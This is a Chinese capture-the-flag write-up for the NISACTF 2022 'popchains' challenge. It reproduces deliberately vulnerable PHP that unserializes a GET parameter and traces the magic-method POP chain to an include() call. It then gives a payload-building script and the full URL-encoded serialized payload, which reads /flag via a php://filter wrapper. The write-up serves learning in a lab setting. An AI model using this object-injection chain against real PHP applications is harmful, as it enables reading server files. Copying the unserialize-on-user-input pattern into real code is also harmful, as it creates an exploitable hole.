[NISACTF 2022]popchains
打开访问页面显示源代码,经分析为反序列化漏洞
对源代码进行分析及playload编写:
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']); //6、调用此方法时,反序列化Road_is_Long类触发__wakeup()方法
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page; //4、此处访问了对象的属性,若要出发此方法需要有把Road_is_Long当成字符串处理的函数,string为Make_a_Change,他没有page属性
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php"; //5、此处与字符串进行对比,既把对象当成了字符串处理,此处的page为Road_is_Long
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value); //1、此处可以包含flag.php,若要使用此方法需要调用append函数
}
public function __invoke(){
$this->append($this->var); // 2、此处调用了append函数,若要执行此语句需要执行__invoke方法,既需要尝试以函数的方法调用Try_Work_Hard,此处的var是要读取的flag
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort; //3、此处用调用函数的方法调用了effort对象,此处若effort是Try_Work_Hard则成功
return $function();
}
}
/**********************Try to See flag*****************************/
1、在使用 unserialize() 时,会检查是否存在一个 __wakeup() 魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。
2、当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。)
3、读取不可访问属性的值时,__get() 会被调用。
4、__toString() 方法用于定义一个类被当成字符串时该如何处理。
playload:
<?php
class Road_is_Long{
public $page;
public $string; //string为
}
class Try_Work_Hard
{
protected $var='php://filter/convert.base64-encode/resource=/flag'; //创建读取flag的变量var
}
class Make_a_Change{
public $effort;
}
// 分别创建三个类的对象
$r=new Road_is_Long();
$t=new Try_Work_Hard();
$m=new Make_a_Change();
$m->effort=$t; // Make_a_Change的effort是Try_Work_Hard
$r->string=$m; // Road_is_Long的string是Make_a_Change
$r->page=$r; // Road_is_Long的page是Road_is_Long
$a=serialize($r); // 进行序列化,因为源代码进行了反序列化
echo urlencode($a); //输出结果,并进行url编码
?>
运行playload,产生结果:
O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Br%3A1%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7D
此时的结果为base64编码后的结果,进行解码,得到flag:
Comments NOTHING